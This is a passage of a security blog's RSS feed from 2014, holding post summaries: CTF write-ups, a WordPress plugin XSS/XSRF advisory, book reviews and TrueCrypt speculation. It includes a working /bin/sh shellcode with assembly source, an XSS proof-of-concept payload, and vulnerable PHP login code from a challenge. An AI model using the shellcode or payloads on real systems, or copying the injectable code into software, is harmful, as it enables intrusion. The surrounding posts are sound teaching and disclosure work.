&lt;p&gt;Ian Beer of Google Project Zero recently &lt;a href="http://googleprojectzero.blogspot.com/2014/07/pwn4fun-spring-2014-safari-part-i_24.html"&gt;popped Safari&lt;/a&gt; and then proceeded to pwn OS X. This post dives into exploiting a WebKit unbounded write bug, and makes it obvious just how many hoops an attacker needs to go through compared to the &amp;lsquo;buffer overflow to overwrite EIP&amp;rsquo; bugs of the &amp;lsquo;good old days&amp;rsquo;. It&amp;rsquo;s a great read, especially if you&amp;rsquo;re new to browser/client exploitation.&lt;/p&gt;</description></item><item><title>Passing Android Traffic through Burp</title><link>https://systemoverlord.com/2014/07/13/passing-android-traffic-through-burp/</link><pubDate>Sun, 13 Jul 2014 20:57:18 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/07/13/passing-android-traffic-through-burp/</guid><description>&lt;p&gt;I wanted to take a look at all HTTP(S) traffic coming from an Android device, even if applications made direct connections without a proxy, so I set up a transparent Burp proxy. I decided to put the Proxy on my Kali VM on my laptop, but didn&amp;rsquo;t want to run an AP on there, so I needed to get the traffic to there.&lt;/p&gt;
&lt;h3 id="network-setup"&gt;Network Setup&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://systemoverlord.com/img/blog/wifitap.png" alt="Network Topology Diagram"&gt;&lt;/p&gt;
&lt;p&gt;The diagram shows that my wireless lab is on a separate subnet from the rest of my network, including my laptop. The lab network is a NAT run by IPTables on the Virtual Router. While I certainly could&amp;rsquo;ve ARP poisoned the connection between the Internet Router and the Virtual Router, or even added a static route, I wanted a cleaner solution that would be easier to enable/disable.&lt;/p&gt;</description></item><item><title>CVE-2014-4182 &amp; CVE-2014-4183: XSS &amp; XSRF in Wordpress 'Diagnostic Tool' Plugin</title><link>https://systemoverlord.com/2014/07/04/cve-2014-4182-cve-2014-4183-xss-xsrf-in-wordpress-diagnostic-tool-plugin/</link><pubDate>Fri, 04 Jul 2014 07:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/07/04/cve-2014-4182-cve-2014-4183-xss-xsrf-in-wordpress-diagnostic-tool-plugin/</guid><description>&lt;p&gt;Versions less than 1.0.7 of the Wordpress plugin &lt;a href="https://wordpress.org/plugins/diagnostic-tool/"&gt;Diagnostic Tool&lt;/a&gt;, contain several vulnerabilities:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Persistent XSS in the Outbound Connections view. An attacker that is able to cause the site to request a URL containing an XSS payload will have this XSS stored in the database, and when an admin visits the Outbound Connections view, the payload will run. This can be trivially seen in example by running a query for &lt;code&gt;http://localhost/&amp;lt;script&amp;gt;alert(/xss/)&amp;lt;/script&amp;gt;&lt;/code&gt; on that page, then refreshing the page to see the content run, as the view is not updated in real time. This is CVE-2014-4183.&lt;/p&gt;</description></item><item><title>Parameter Injection in jCryption</title><link>https://systemoverlord.com/2014/06/18/parameter-injection-in-jcryption/</link><pubDate>Wed, 18 Jun 2014 01:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/06/18/parameter-injection-in-jcryption/</guid><description>&lt;p&gt;jCryption is an open-source plugin for jQuery that is used for performing encryption on the client side that can be decrypted server side. It works by retrieving an RSA key from the server, then encrypting an AES key under the RSA key, and sending both the encrypted AES key and the RSA key to the server. This is not dissimilar to how OpenPGP encrypts data for transmission. (Though, of course, implementation details are vastly different.)&lt;/p&gt;</description></item><item><title>Minimal x86-64 shellcode for /bin/sh?</title><link>https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/</link><pubDate>Thu, 05 Jun 2014 01:54:22 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/</guid><description>&lt;p&gt;I was trying to figure out the minimal shellcode necessary to launch /bin/sh from a 64-bit processor, and the smallest I could come up with is 25 bytes: &lt;code&gt;\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This was produced from the following source:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BITS 64

main:
 mov rbx, 0xFF978CD091969DD1
 neg rbx
 push rbx
 xor eax, eax
 cdq
 xor esi, esi
 push rsp
 pop rdi
 mov al, 0x3b ; sys_execve
 syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Compile with nasm, examine the output with &lt;code&gt;objdump -M intel -b binary -m i386:x86-64 -D shellcode&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Secuinside Quals 2014: Simple Login</title><link>https://systemoverlord.com/2014/06/04/secuinside-quals-2014-simple-login/</link><pubDate>Wed, 04 Jun 2014 02:08:25 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/06/04/secuinside-quals-2014-simple-login/</guid><description>&lt;p&gt;In this challenge, we received the source for a site with a pretty basic login functionality. Aside from some boring forms, javascript, and css, we have this PHP library for handling the session management:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!php
&amp;lt;?
	class common{
		public function getidx($id){
			$id = mysql_real_escape_string($id);
			$info = mysql_fetch_array(mysql_query(&amp;quot;select idx from member where id='&amp;quot;.$id.&amp;quot;'&amp;quot;));
			return $info[0];
		}

		public function getpasswd($id){
			$id = mysql_real_escape_string($id);
			$info = mysql_fetch_array(mysql_query(&amp;quot;select password from member where id='&amp;quot;.$id.&amp;quot;'&amp;quot;));
			return $info[0];
		}

		public function islogin(){
			if( preg_match(&amp;quot;/[^0-9A-Za-z]/&amp;quot;, $_COOKIE['user_name']) ){
	 			exit(&amp;quot;cannot be used Special character&amp;quot;);
			}

			if( $_COOKIE['user_name'] == &amp;quot;admin&amp;quot; )	return 0;

			$salt = file_get_contents(&amp;quot;../../long_salt.txt&amp;quot;);

			if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){
				return 1;
			}

			return 0;
		}

		public function autologin(){

		}

		public function isadmin(){
			if( $this-&amp;gt;getidx($_COOKIE['user_name']) == 1){
				return 1;
			}

			return 0;
		}

		public function insertmember($id, $password){
			$id = mysql_real_escape_string($id);
			mysql_query(&amp;quot;insert into member(id, password) values('&amp;quot;.$id.&amp;quot;', '&amp;quot;.$password.&amp;quot;')&amp;quot;) or die();

			return 1;
		}
	}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some first impressions:&lt;/p&gt;</description></item><item><title>Secuinside Quals 2014: Shellcode 100</title><link>https://systemoverlord.com/2014/06/02/secuinside-quals-2014-shellcode-100/</link><pubDate>Mon, 02 Jun 2014 04:57:01 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/06/02/secuinside-quals-2014-shellcode-100/</guid><description>&lt;p&gt;This is a level that, at first, seemed like it would be extremely simple, but then turned out to be far more complicated than expected. We were provided a zip file containing a python script and an elf binary.&lt;/p&gt;
&lt;p&gt;Disassembling the binary reveals a very basic program:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/ (fcn) sym.main 165
| 0x0804847d 55 push ebp
| 0x0804847e 89e5 mov ebp, esp
| 0x08048480 83e4f0 and esp, 0xfffffff0
| 0x08048483 83ec30 sub esp, 0x30
| 0x08048486 8b450c mov eax, [ebp+0xc]
| 0x08048489 83c004 add eax, 0x4
| 0x0804848c 8b00 mov eax, [eax]
| 0x0804848e 890424 mov [esp], eax
| ; CODE (CALL) XREF from 0x08048376 (fcn.08048376)
| ; CODE (CALL) XREF from 0x08048370 (fcn.08048366)
| 0x08048491 e8dafeffff call 0x108048370 ; (sym.imp.atoi)
| sym.imp.atoi(unk)
| 0x08048496 89442428 mov [esp+0x28], eax
| 0x0804849a c7442424000. mov dword [esp+0x24], 0x0
| 0x080484a2 c7442408040. mov dword [esp+0x8], 0x4
| 0x080484aa 8d442424 lea eax, [esp+0x24]
| 0x080484ae 89442404 mov [esp+0x4], eax
| 0x080484b2 8b442428 mov eax, [esp+0x28]
| 0x080484b6 890424 mov [esp], eax
| ; CODE (CALL) XREF from 0x08048330 (fcn.0804832c)
| 0x080484b9 e872feffff call 0x108048330 ; (sym.imp.read)
| sym.imp.read()
| 0x080484be 8b442424 mov eax, [esp+0x24]
| 0x080484c2 c7442414000. mov dword [esp+0x14], 0x0
| 0x080484ca c7442410fff. mov dword [esp+0x10], 0xffffffff
| 0x080484d2 c744240c220. mov dword [esp+0xc], 0x22
| 0x080484da c7442408070. mov dword [esp+0x8], 0x7
| 0x080484e2 89442404 mov [esp+0x4], eax
| 0x080484e6 c7042400000. mov dword [esp], 0x0
| ; CODE (CALL) XREF from 0x08048350 (fcn.08048346)
| 0x080484ed e85efeffff call 0x108048350 ; (sym.imp.mmap)
| sym.imp.mmap()
| 0x080484f2 8944242c mov [esp+0x2c], eax
| 0x080484f6 8b442424 mov eax, [esp+0x24]
| 0x080484fa 89442408 mov [esp+0x8], eax
| 0x080484fe 8b44242c mov eax, [esp+0x2c]
| 0x08048502 89442404 mov [esp+0x4], eax
| 0x08048506 8b442428 mov eax, [esp+0x28]
| 0x0804850a 890424 mov [esp], eax
| 0x0804850d e81efeffff call 0x108048330 ; (sym.imp.read)
| sym.imp.read()
| 0x08048512 31c0 xor eax, eax
| 0x08048514 31c9 xor ecx, ecx
| 0x08048516 31d2 xor edx, edx
| 0x08048518 31db xor ebx, ebx
| 0x0804851a 31f6 xor esi, esi
| 0x0804851c 31ff xor edi, edi
\ 0x0804851e ff64242c jmp dword [esp+0x2c]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It takes a single argument, an integer, which it uses as a file descriptor for input. It then reads 4 bytes from the file descriptor, mmap&amp;rsquo;s an anonymous block of memory of that size with RWX permissions, then reads that many bytes from the file descriptor into the mapped region, and finally jumps to the map region. So, in summary, read shellcode length, read shellcode, then jump to shellcode.&lt;/p&gt;</description></item><item><title>Secuinside Quals 2014: Javascript Jail (Misc 200)</title><link>https://systemoverlord.com/2014/06/02/secuinside-quals-2014-javascript-jail/</link><pubDate>Mon, 02 Jun 2014 03:43:33 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/06/02/secuinside-quals-2014-javascript-jail/</guid><description>&lt;p&gt;The challenge was pretty straightforward: connect to a service that&amp;rsquo;s running a Javascript REPL, and extract the flag. You were provided a check function that was created by the checker function given below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!javascript
function checker(flag, myRand) {
 return function (rand) {
 function stage1() {
 var a = Array.apply(null, new Array(Math.floor(Math.random() * 20) + 10)).map(function () {return Math.random() * 0x10000;});
 var b = rand(a.length);

 if (!Array.isArray(b)) {
 print(&amp;quot;You're a cheater!&amp;quot;);
 return false;
 }

 if (b.length &amp;lt; a.length) {
 print(&amp;quot;hmm.. too short..&amp;quot;);
 for (var i = 0, n = a.length - b.length; i &amp;lt; n; i++) {
 delete b[b.length];
 b[b.length] = [Math.random() * 0x10000];
 }
 } else if (b.length &amp;gt; a.length) {
 print(&amp;quot;hmm.. too long..&amp;quot;);
 for (var i = 0, n = b.length - a.length; i &amp;lt; n; i++)
 Array.prototype.pop.apply(b);
 }

 for (var i = 0, n = b.length; i &amp;lt; n; i++) {
 if (a[i] != b[i]) {
 print(&amp;quot;ddang~~&amp;quot;);
 return false;
 }
 }

 return true;
 }

 function stage2() {
 var a = Array.apply(null, new Array((myRand() % 20) + 10)).map(function () {return myRand() % 0x10000;});
 var b = rand(a.length);

 if (!Array.isArray(b)) {
 print(&amp;quot;You're a cheater!&amp;quot;);
 return false;
 }

 if (b.length &amp;lt; a.length) {
 print(&amp;quot;hmm.. too short..&amp;quot;);
 for (var i = 0, n = a.length - b.length; i &amp;lt; n; i++) {
 delete b[b.length];
 b[b.length] = [Math.random() * 0x10000];
 }
 } else if (b.length &amp;gt; a.length) {
 print(&amp;quot;hmm.. too long..&amp;quot;);
 for (var i = 0, n = b.length - a.length; i &amp;lt; n; i++)
 Array.prototype.pop.apply(b);
 }

 for (var i = 0, n = b.length; i &amp;lt; n; i++) {
 if (a[i] != b[i]) {
 print(&amp;quot;ddang~~&amp;quot;);
 return false;
 }
 }

 return true;
 }

 print(&amp;quot;stage1&amp;quot;);

 if (!stage1())
 return;

 print(&amp;quot;stage2&amp;quot;);

 if (!stage2())
 return;

 print(&amp;quot;awesome!&amp;quot;);
 return flag;
 };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can tell, there are two nearly identical stages that create an array of random length (10-30) consisting of random values. The only difference is in how the random values are generated: once from Math.random, and, in stage 2, from a function provided by the factory function. This function was not available to us to reverse the functionality of.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 5/30/14</title><link>https://systemoverlord.com/2014/05/30/weekly-reading-list-for-53014/</link><pubDate>Fri, 30 May 2014 07:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/30/weekly-reading-list-for-53014/</guid><description>&lt;p&gt;It&amp;rsquo;s been a busy week, so I&amp;rsquo;m just going to drop some info about Radare2.&lt;/p&gt;
&lt;h3 id="radare2-materials"&gt;Radare2 Materials&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/Maijin/radare2book"&gt;Radare2Book&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://radare.org/get/ncn2010.pdf"&gt;@pancake&amp;rsquo;s presentation on patching with r2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://canthack.org/2011/07/adventures-with-radare-1-a-simple-shellcode-analysis/"&gt;Adventures with Radare2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://radare.org/y/?p=talks"&gt;Miscellaneous Radare2 Talks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>On the TrueCrypt Saga</title><link>https://systemoverlord.com/2014/05/30/on-the-truecrypt-saga/</link><pubDate>Fri, 30 May 2014 00:52:47 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/30/on-the-truecrypt-saga/</guid><description>&lt;p&gt;If you&amp;rsquo;re anywhere near the security community, you&amp;rsquo;ve probably already heard about the (supposed) &lt;a href="http://truecrypt.sourceforge.net/"&gt;end of TrueCrypt&lt;/a&gt; that inspired a &lt;a href="http://www.reddit.com/r/netsec/comments/26pz9b/truecrypt_development_has_ended_052814/"&gt;massive hunt for an explanation on Reddit&lt;/a&gt;. I&amp;rsquo;m going to drop my thoughts here, but these are all just speculation, so take them for what they&amp;rsquo;re worth (which is not much).&lt;/p&gt;
&lt;h4 id="the-facts-as-we-know-them"&gt;The Facts as We Know Them&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TrueCrypt 7.2 dropped support for creating volumes.&lt;/strong&gt; The code was massively changed, stripping out all volume creation options.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The website was updated with terrible instructions.&lt;/strong&gt; The directions for alternatives generally point to proprietary options (BitLocker, File Vault, or, to paraphrase, &amp;ldquo;whatever you can find on Linux.&amp;rdquo;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The new version is signed with the same key&lt;/strong&gt; as previous versions. This implies whoever did the update is in possession of the key used for signing previous releases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sourceforge doesn&amp;rsquo;t think the account was compromised&lt;/strong&gt; as posted &lt;a href="https://news.ycombinator.com/item?id=7813121"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="popular-theories"&gt;Popular Theories&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The author was forced to backdoor TC and chose this instead.&lt;/strong&gt; This seems to be the most popular theory, and given the Snowden revelations, it&amp;rsquo;s easy to see why. Assuming the adversary in question is the US Government, this seems awfully heavy-handed, and I&amp;rsquo;m not sure under which legal authority they would attempt to compel this participation. NSLs compel the production of business records, but don&amp;rsquo;t seem to allow them to force a backdooring. CALEA is for communications tools, TrueCrypt is used for storage at rest. Even those who refer to LavaBit are referring to warrants. First LavaBit was ordered to turn over messages, then encryption keys, but I&amp;rsquo;m not aware they were ever ordered to backdoor their software. It also seems odd that government agencies would choose to go after disk encryption, seems like communications encryption would be the bigger source of intelligence. There are those who have claimed &amp;ldquo;the government can force you to do anything&amp;rdquo;, which I suppose is true, but if we&amp;rsquo;re at the stage of &amp;ldquo;backdoor your code or we treat you as a terrorist&amp;rdquo; then the game&amp;rsquo;s already over, we&amp;rsquo;re off in &lt;a href="https://en.wikipedia.org/wiki/Stasi"&gt;Stasi&lt;/a&gt; territory, and I&amp;rsquo;m not sure that&amp;rsquo;s a world I could live in. I &lt;strong&gt;hope&lt;/strong&gt; this is not the story.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The author tired of developing it&lt;/strong&gt; and just gave up. This is a kind of odd approach, one would think they&amp;rsquo;d look for someone to hand the project to. I&amp;rsquo;m also not sure why someone who&amp;rsquo;d devoted years to developing secure encryption software would suddenly offer up terrible alternatives or otherwise deviate so strangely.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A developer was compromised.&lt;/strong&gt; While this might give access to the PGP key, I&amp;rsquo;d have thought by now we&amp;rsquo;d have some sort of communication somewhere to claim this has happened. Unless the developer is completely out of the loop as well. Why would someone use the compromise to offer up terrible alternatives as opposed to releasing backdoored binaries quietly?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Off their meds.&lt;/strong&gt; A couple of people have suggested that some sort of psychiatric problem is involved here. Actually seems a little reasonable, given the erratically written directions for alternatives, the sudden change in course, everything. Of course, there&amp;rsquo;s no evidence to support this, so it&amp;rsquo;s really just speculation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;I&amp;rsquo;ve turned off commenting as I think Reddit or Hacker News is a better place for such discussion, I just had a lot of thoughts I wanted to get out.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Weekly Reading List for 5/23/14</title><link>https://systemoverlord.com/2014/05/23/weekly-reading-list-for-52314/</link><pubDate>Fri, 23 May 2014 07:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/23/weekly-reading-list-for-52314/</guid><description>&lt;p&gt;###Radare2 Book
Maijin on GitHub is in the process of putting together an &lt;a href="https://radare.gitbooks.io/radare2book/"&gt;online book for Radare2&lt;/a&gt;. I&amp;rsquo;ve been looking for a good resource for using Radare2, and this is a great start.&lt;/p&gt;
&lt;p&gt;###Reverse Engineering for Beginners
Dennis Yurichev has a &lt;a href="http://yurichev.com/RE-book.html"&gt;free eBook on Reverse Engineering&lt;/a&gt;. I haven&amp;rsquo;t gotten through it yet, but it looks interesting, and you can&amp;rsquo;t beat the price.&lt;/p&gt;
&lt;p&gt;###Hacker Playbook
Finally, I finished up &lt;a href="http://www.amazon.com/gp/product/1494932636/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1494932636&amp;amp;linkCode=as2&amp;amp;tag=systemovecom-20"&gt;The Hacker Playbook: Practical Guide To Penetration Testing&lt;/a&gt; this week. You can find &lt;a href="https://systemoverlord.com/2014/05/21/book-review-the-hacker-playbook/"&gt;my full review here&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>DEF CON 22 CTF Quals: 3dttt</title><link>https://systemoverlord.com/2014/05/21/def-con-22-ctf-quals-3dttt/</link><pubDate>Wed, 21 May 2014 14:07:02 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/21/def-con-22-ctf-quals-3dttt/</guid><description>&lt;p&gt;Unlike most of the challenges in DC22 quals, this one required no binary exploitation, no reversing, just writing a little code. You needed to play 3-D Tic Tac Toe, and you needed to play fast. Unfortunately, I didn&amp;rsquo;t record the sessions, so I don&amp;rsquo;t have the example output.&lt;/p&gt;
&lt;p&gt;Basically, you just received an ASCII representation of each of the 3 boards making up the 3d-tic-tac-toe environment, and were prompted to provide x,y,z coordinates for your next move. However, you had only a very short period of time (fractions of a second) to send your move, so playing by hand was impossible. The winner of each board was the player with the most rows won, and it did go to the full 27 moves each time. Also, it&amp;rsquo;s important to note that the player always goes first, and that you have to win 50 rounds in order to receive the flag.&lt;/p&gt;</description></item><item><title>Book Review: The Hacker Playbook...</title><link>https://systemoverlord.com/2014/05/21/book-review-the-hacker-playbook/</link><pubDate>Wed, 21 May 2014 01:10:54 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/21/book-review-the-hacker-playbook/</guid><description>&lt;p&gt;&lt;a href="http://www.amazon.com/gp/product/1494932636/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1494932636&amp;amp;linkCode=as2&amp;amp;tag=systemovecom-20"&gt;The Hacker Playbook: Practical Guide To Penetration Testing&lt;/a&gt; is an attempt to use a continuous series of football metaphors to describe the process of a network penetration test. Maybe the metaphors would work better for someone who actually watches sports, but I felt they were a bit strained and forced at times. That being said, the actual content and techniques described are solid and generally useful information. It&amp;rsquo;s arranged in the stages of a good penetration test, and reads like a strong guide for those relatively new to penetration testing. Unfortunately, it doesn&amp;rsquo;t set up general guides for each area as much as describing specific &amp;ldquo;plays&amp;rdquo; for each area, so once those techniques start to fall flat, it doesn&amp;rsquo;t leave you with a lot of depth.&lt;/p&gt;</description></item><item><title>DEF CON 22 CTF Quals: Hackertool</title><link>https://systemoverlord.com/2014/05/19/def-con-22-ctf-quals-hackertool/</link><pubDate>Mon, 19 May 2014 03:32:11 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/19/def-con-22-ctf-quals-hackertool/</guid><description>&lt;p&gt;Hackertool was one of the &lt;code&gt;Baby&amp;rsquo;s First&lt;/code&gt; challenges in DEF CON CTF Quals this year, and provided you with a .torrent file, and asked you to download the file and MD5 it. Seems easy enough, so I knew there must be more to it. The torrent file itself was a whopping 4 MB in size, very large for a torrent file. Looking at it, we see it contains just one file, named &lt;code&gt;every_ip_address.txt&lt;/code&gt;, and the file is ~61GB in size. Hrrm, there must be an easier way than torrenting 61GB, especially at &amp;lt;1k/s.&lt;/p&gt;</description></item><item><title>The Machine Inside the Machine</title><link>https://systemoverlord.com/2014/05/13/the-machine-inside-the-machine/</link><pubDate>Tue, 13 May 2014 04:24:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/13/the-machine-inside-the-machine/</guid><description>&lt;p&gt;Imagine this scenario:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;One of your employees visits a site offering a program to download videos from a popular video site. Because they&amp;rsquo;d like to throw some videos on their phone, they download and install it, but it comes with a hitchhiker: a RAT, or remote access trojan. So Trudy, an attacker, has a foothold, but the user isn&amp;rsquo;t an administrator, so she starts looking at the network for a place to pivot. Scanning a private subnet, she finds a number of consecutive IP addresses all offering webservers, FTP servers, and even telnet! Connecting to one, the attacker suddenly realizes she has just found her golden ticket&amp;hellip;&lt;/p&gt;</description></item><item><title>Reading List for 5/9/2014</title><link>https://systemoverlord.com/2014/05/09/reading-list-for-592014/</link><pubDate>Fri, 09 May 2014 07:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/09/reading-list-for-592014/</guid><description>&lt;p&gt;###On XTS Mode for Disk Encryption
Thomas Ptacek writes &lt;a href="http://sockpuppet.org/blog/2014/04/30/you-dont-want-xts/"&gt;You Don&amp;rsquo;t Want XTS&lt;/a&gt;, and suggests that though XTS works well enough in practice, it is far from ideal for Full Disk Encryption, and should not be used at all for other encryption operations (i.e., anything that doesn&amp;rsquo;t resemble FDE). XTS is useful only in that it makes &amp;ldquo;random access&amp;rdquo; encryption more secure, as you need for a disk. For encryption of whole blocks of data at rest, you probably want CBC mode, and for anything on the wire, AES-GCM is the new hotness.&lt;/p&gt;</description></item><item><title>Announcement: PwnableWeb Released</title><link>https://systemoverlord.com/2014/05/09/announcement-pwnableweb-released/</link><pubDate>Fri, 09 May 2014 00:11:58 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/09/announcement-pwnableweb-released/</guid><description>&lt;p&gt;In addition to my primary interest in the technical aspects of information security, I&amp;rsquo;m also a big fan of wargames &amp;amp; CTFs as educational tools, so a while back, I decided I wanted to build a web-based wargame and CTF scoreboard system. Today I am releasing the results of that, dubbed &lt;strong&gt;PwnableWeb&lt;/strong&gt;, under the Apache 2.0 License. It includes web-based wargame-style challenges and an accompanying scoreboard.&lt;/p&gt;
&lt;p&gt;###The Framework
Each vulnerable site is built on top of a small framework that provides common functionality, and also provides a framework for building a client for interactive exploitation. (It provides a target to exploit XSS and XSRF against.)&lt;/p&gt;</description></item><item><title>Book Review: Red Team Field Manual</title><link>https://systemoverlord.com/2014/05/02/book-review-red-team-field-manual/</link><pubDate>Fri, 02 May 2014 15:24:27 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/05/02/book-review-red-team-field-manual/</guid><description>&lt;p&gt;I recently picked up a copy of the &lt;a href="http://www.amazon.com/gp/product/1494295504/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1494295504&amp;amp;linkCode=as2&amp;amp;tag=systemovecom-20&amp;amp;linkId=VUHBPTAFLWN7MNBT"&gt;Red Team Field Manual&lt;/a&gt; on Amazon after hearing good things from a few people in the industry. It&amp;rsquo;s information dense, basically a concatenation of cheat sheets for everything you&amp;rsquo;d want to do during a pentest. I&amp;rsquo;m mostly a Linux/Unix guy, and given my role on an internal red team for a mostly Linux company, I don&amp;rsquo;t do a lot of Windows. However, I recently had an engagement where we were targeting Windows, and I wish I&amp;rsquo;d had the RTFM handy then: there are a number of great pointers for Windows that I could&amp;rsquo;ve leveraged to make my engagement go more smoothly. Additionally, the book provides coverage for other platforms, like Cisco IOS, and for various scripting situations in Powershell, Python, or even &lt;a href="http://www.secdev.org/projects/scapy/"&gt;Scapy&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>A Brief History of the Internet (Security-Wise)</title><link>https://systemoverlord.com/2014/04/16/a-brief-history-of-the-internet-security-wise/</link><pubDate>Wed, 16 Apr 2014 04:55:14 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/04/16/a-brief-history-of-the-internet-security-wise/</guid><description>&lt;p&gt;I originally posted this to the &lt;a href="http://dc404.org/"&gt;DC404 Mailing List&lt;/a&gt;, but got some positive feedback, so I thought I&amp;rsquo;d post it here as well. The broad strokes should be correct, but there might be some inaccuracies here — if you&amp;rsquo;re aware of one, please let me know and I&amp;rsquo;ll correct it.&lt;/p&gt;
&lt;p&gt;There was a thread ongoing about Heartbleed, and it turned into a question of why security on the Internet is so complicated, and couldn&amp;rsquo;t it be any simpler? Well, the truth be told, security on the Internet is a house of cards.&lt;/p&gt;</description></item><item><title>PlaidCTF 2014: Conclusion</title><link>https://systemoverlord.com/2014/04/14/plaidctf-2014-conclusion/</link><pubDate>Mon, 14 Apr 2014 17:30:42 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/04/14/plaidctf-2014-conclusion/</guid><description>&lt;p&gt;The 2014 edition of PlaidCTF was excellent, but I wish we&amp;rsquo;d been able to make it through more challenges. We cleared about 7 challenges, but really only two of them felt worth writing up. The others have been well documented elsewhere, no sense in rewriting the same thing.&lt;/p&gt;
&lt;p&gt;I liked how the challenges often required a series of exploits/techniques, this is much like what happens in the real world. I do wish I had spent more time on binary exploitation, attempting to get a solution to &lt;code&gt;_&lt;em&gt;nightmares&lt;/em&gt;_&lt;/code&gt; burned a lot of time.&lt;/p&gt;</description></item><item><title>PlaidCTF 2014: ReeKeeeee</title><link>https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/</link><pubDate>Mon, 14 Apr 2014 06:46:01 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/</guid><description>&lt;p&gt;ReeKeeeeee was, by far, the most visually painful challenge in the CTF, with a flashing rainbow background on every page. Blocking scripts was clearly a win here. Like many of the challenges this year, it turned out to require multiple exploitation steps.&lt;/p&gt;
&lt;p&gt;ReeKeeeeee was a meme-generating service that allowed you to provide a URL to an image and text to overlay on the image. Source code was provided, and it was worth noting that it&amp;rsquo;s a Django app using the &lt;code&gt;django.contrib.sessions.serializers.PickleSerializer&lt;/code&gt; serializer. As the &lt;a href="https://docs.djangoproject.com/en/3.0/topics/http/sessions/"&gt;documentation for the serializer&lt;/a&gt; notes, &lt;strong&gt;If the SECRET_KEY is not kept secret and you are using the PickleSerializer, this can lead to arbitrary remote code execution.&lt;/strong&gt; So, maybe, can we get the SECRET_KEY?&lt;/p&gt;</description></item><item><title>PlaidCTF 2014: mtpox</title><link>https://systemoverlord.com/2014/04/14/plaidctf-mtpox/</link><pubDate>Mon, 14 Apr 2014 05:13:12 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/04/14/plaidctf-mtpox/</guid><description>&lt;p&gt;&lt;strong&gt;150 Point Web Challenge&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
